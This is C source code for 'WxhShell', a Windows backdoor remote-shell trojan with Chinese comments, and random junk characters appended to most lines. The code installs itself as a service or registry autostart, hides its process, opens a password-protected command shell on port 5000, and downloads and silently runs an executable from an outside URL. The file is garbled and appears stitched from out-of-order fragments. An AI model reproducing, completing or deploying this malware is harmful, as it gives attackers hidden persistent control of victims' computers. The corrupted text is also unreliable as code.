ULONG InheritedFromUniqueProcessId; (Jz1vEEV
} PROCESS_BASIC_INFORMATION; Na:w]r:y
Lhqz\ o
PROCNTQSIP NtQueryInformationProcess; +HBd
%1
z11O F
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h*- Pr8
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8ji_#og
euC&0Ee2
HANDLE hProcess; w@{= nD4p
PROCESS_BASIC_INFORMATION pbi; V$ps>
@)fd}tV
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;qm
D50:%
if(NULL == hInst ) return 0; 1fpQLaT
thI
F&
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /pT=0=
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "'t0h{Wr8
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H !$o$}A
ME*LHr,
if (!NtQueryInformationProcess) return 0;
iKT [=c
~{jcH
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "thdPZ
if(!hProcess) return 0; Ru>MFG
v_DedVhe
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {0WHn.,2Y
Sy0$z39
CloseHandle(hProcess); T( U_
#T'{ n1AI
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $w`=z<2yo1
if(hProcess==NULL) return 0; G;l_|8<t#\
tM'P m
HMODULE hMod; }f6HYU
char procName[255]; 'Wmx)0)
unsigned long cbNeeded; z?R|Ok
woK&q 7Vn
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VgZsB$Ori
h eV=)8
CloseHandle(hProcess); hYG6 pTCb
rE.;g^4p
if(strstr(procName,"services")) return 1; // 以服务启动 dtRwTUMe?
wNpTM8rfU#
return 0; // 注册表启动 9
a!$z!.
} jK& h~)
~d|A!S`
// 主模块 h7lDHIQf
int StartWxhshell(LPSTR lpCmdLine) i#vYyVr[
{ U@uGNMKR
SOCKET wsl; #Y
a4ps_
BOOL val=TRUE; @1o/0y"
int port=0; #W4dkCd(pF
struct sockaddr_in door; "&G/T ?4
|EX(8y
if(wscfg.ws_autoins) Install(); 128EPK
5K>3My#
port=atoi(lpCmdLine); q_A!'sm@)
nrub*BuA
if(port<=0) port=wscfg.ws_port; 4.[^\N
0"
WSADATA data; Q ayPo]O
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >UiYL}'br6
_=F=`xu
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; P}n_IV*@
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Jh,]r?Bd
door.sin_family = AF_INET; 1ySk;;3
door.sin_addr.s_addr = inet_addr("127.0.0.1"); e>+i>/Fn{h
door.sin_port = htons(port); ?PeJlpYzV
u8&Z!p\
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m
Bu
closesocket(wsl); +hg3I8q:
return 1; qouhuH_WtJ
} EE&K0<?T|:
,8U&?8l
if(listen(wsl,2) == INVALID_SOCKET) { @\0ez<.p}
closesocket(wsl); BC&S> #\
return 1; +Vb.lH[av
} il4^zj82
Wxhshell(wsl); ?+@n3]`0
WSACleanup(); _S<3\%(0
@ym v< Mo
return 0; md)c0Bg8~
j4gF;-m<
} N7b8m?!
q9KHmhUD
// 以NT服务方式启动 Elcj tYu4
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o4G ?nvK-
{ e'6/`Evqz
DWORD status = 0; oK6tTK
DWORD specificError = 0xfffffff; Z]>O+
wN_Vfb
serviceStatus.dwServiceType = SERVICE_WIN32; Ra)3+M!x
serviceStatus.dwCurrentState = SERVICE_START_PENDING; W9 GxXPA
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I667Gz$j5
serviceStatus.dwWin32ExitCode = 0; $v4.sl:x
serviceStatus.dwServiceSpecificExitCode = 0; lk/n}bx
serviceStatus.dwCheckPoint = 0; :3v}kLO7|
serviceStatus.dwWaitHint = 0; @Q)OGjaq
PCHu#5j_a
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %a>&5V
if (hServiceStatusHandle==0) return; ZQ4p(6a
>c1qpk/
status = GetLastError(); g/ T
if (status!=NO_ERROR) n`? py
{ -u6bAQ
serviceStatus.dwCurrentState = SERVICE_STOPPED; h]IxXP?h[
serviceStatus.dwCheckPoint = 0; yr)G]K[/
serviceStatus.dwWaitHint = 0; t6bV?nc
serviceStatus.dwWin32ExitCode = status; CKYc\<zR0l
serviceStatus.dwServiceSpecificExitCode = specificError; -]0OKE&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); w$3,A$8
return; f',Op1o
} pNG:0
6dq(T_eG
serviceStatus.dwCurrentState = SERVICE_RUNNING; [<lHCQXJ/
serviceStatus.dwCheckPoint = 0; (yH'{6g\
serviceStatus.dwWaitHint = 0; ;v}GJ<3
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v [wb~uw\
} F|SXn\
l.67++_
// 处理NT服务事件,比如:启动、停止 8zZvht*
VOID WINAPI NTServiceHandler(DWORD fdwControl) du<tGsy
{ h9t$Uz^N
switch(fdwControl) Lu?C-$a C
{ jZu[n)u'C
case SERVICE_CONTROL_STOP: Y+kfBvxyf
serviceStatus.dwWin32ExitCode = 0; g#"zQv ON
serviceStatus.dwCurrentState = SERVICE_STOPPED; EuZ<quwWg
serviceStatus.dwCheckPoint = 0; S5gyr&dm
serviceStatus.dwWaitHint = 0; F~,Mw8
{ UFXaEl}R
SetServiceStatus(hServiceStatusHandle, &serviceStatus); W>${zVu
} w#ZoZZ wh
return; |UkR'Ma
case SERVICE_CONTROL_PAUSE: 3atBX5
serviceStatus.dwCurrentState = SERVICE_PAUSED; *D'22TO[[!
break; m]'#t)B_m
case SERVICE_CONTROL_CONTINUE: 4GkWRu1
serviceStatus.dwCurrentState = SERVICE_RUNNING; p2hB8zL
break; 8v:T.o;<
case SERVICE_CONTROL_INTERROGATE: `LrHKb
aP
break; DBo%fYst
}; \Z?9{J
SetServiceStatus(hServiceStatusHandle, &serviceStatus); LD+{o 4i
} )MtF23k)g
y%&q/tk
// 标准应用程序主函数 .iYJr;9`d
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }fp-pe69z
{ KN^=i5K+Y
Sgeh %f
// 获取操作系统版本 'f#{{KA
OsIsNt=GetOsVer(); ^7w+l @
GetModuleFileName(NULL,ExeFile,MAX_PATH); h){0rX@:&
qz"}g/;?
// 从命令行安装 =J18eH!]
if(strpbrk(lpCmdLine,"iI")) Install(); 6gL#C&
h\$$JeSV]
// 下载执行文件 JYMiLph<
if(wscfg.ws_downexe) { .u)X3..J
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :,3C 0T3r
WinExec(wscfg.ws_filenam,SW_HIDE); 6O7'!@@
} &DS/v)]
4svBzZdr
if(!OsIsNt) { ]{sU&GqBLe
// 如果时win9x,隐藏进程并且设置为注册表启动 Yz'K]M_Dq
HideProc(); kI,yU}<Fq
StartWxhshell(lpCmdLine); ])[[ V!1
} t=BUN
else /}((l%U E.
if(StartFromService()) zUt'QH7E.
// 以服务方式启动 sG(~^hJ_
StartServiceCtrlDispatcher(DispatchTable); ]V[q(-Jk
else zv|2:4H
// 普通方式启动 =%BSKSG.
StartWxhshell(lpCmdLine); d8DV[{^
yjO1 Ol
return 0; w_ akn t T
} zKyyU}LHH
]RwpX ^ 1
P:hBt\5B
-{KQr1{5UM
=========================================== B*eC3ok3z
EZgq ?l~5O
48J@CvU
O+nEXS\rQ
mbKZJ{|4s
p99]
" )~&CvJ
;/bewivNJ
#include <stdio.h> aR[JD2G
#include <string.h> q?H|o(
#include <windows.h> =R^%(Py
#include <winsock2.h> R
&nPj~
#include <winsvc.h> 'HO$C,1]
#include <urlmon.h> %7QV&[4!
Lt2u,9
#pragma comment (lib, "Ws2_32.lib") .fn\]rUv
#pragma comment (lib, "urlmon.lib") ru'F6?d
biL s+\C
#define MAX_USER 100 // 最大客户端连接数 AL[KpY
#define BUF_SOCK 200 // sock buffer 4%{,]
q\p
#define KEY_BUFF 255 // 输入 buffer N(O9&L*4fm
\0A3]l
#define REBOOT 0 // 重启 W}nlRbN?
#define SHUTDOWN 1 // 关机 w3N[9w?1
n"$jG:AQJ
#define DEF_PORT 5000 // 监听端口 BfXgh'Z~
M+-*QyCFK
#define REG_LEN 16 // 注册表键长度 x!hh"x
#define SVC_LEN 80 // NT服务名长度 "N;`1ce
MO[2~`,Q!
// 从dll定义API ,1hxw<sNR
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !zBhbmlKt
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HsxVZ.dS
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &g#@3e1>
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C:GK,?!Jn'
_qU4Fadgm
// wxhshell配置信息 G%BjhpL
struct WSCFG { 3\AU 72-
int ws_port; // 监听端口 K:J3Z5"
char ws_passstr[REG_LEN]; // 口令 n*o-Lo+Fe.
int ws_autoins; // 安装标记, 1=yes 0=no +u.1 ;qF
char ws_regname[REG_LEN]; // 注册表键名
_,kj:R.
char ws_svcname[REG_LEN]; // 服务名 f}6s
Q5
char ws_svcdisp[SVC_LEN]; // 服务显示名 rr/B=O7
char ws_svcdesc[SVC_LEN]; // 服务描述信息 /{Is0+)
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MlcR"gl*
int ws_downexe; // 下载执行标记, 1=yes 0=no i|c'Lbre`
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u\a#{G;Z
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }pDqe;a{
(XVw"m/ye
}; \Bz_p'[G
`K*Q5n
// default Wxhshell configuration w}L]X1#sF
struct WSCFG wscfg={DEF_PORT, zy?.u.4L
"xuhuanlingzhe", RPwbTAl}
1, K'55O&2
"Wxhshell", >f^r^P
"Wxhshell", Fiv3 {.
"WxhShell Service", 2uzW+D6J
"Wrsky Windows CmdShell Service", X1,I
"Please Input Your Password: ", ksc;X$f&4
1, ?U%QG5/>
"http://www.wrsky.com/wxhshell.exe", LuNc,n%
"Wxhshell.exe" Hfv 7LM
}; Ac96
[
^pxX]G]
// 消息定义模块 v5/~-uRL%
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~Uj=^leYO
char *msg_ws_prompt="\n\r? for help\n\r#>"; d+<G1w&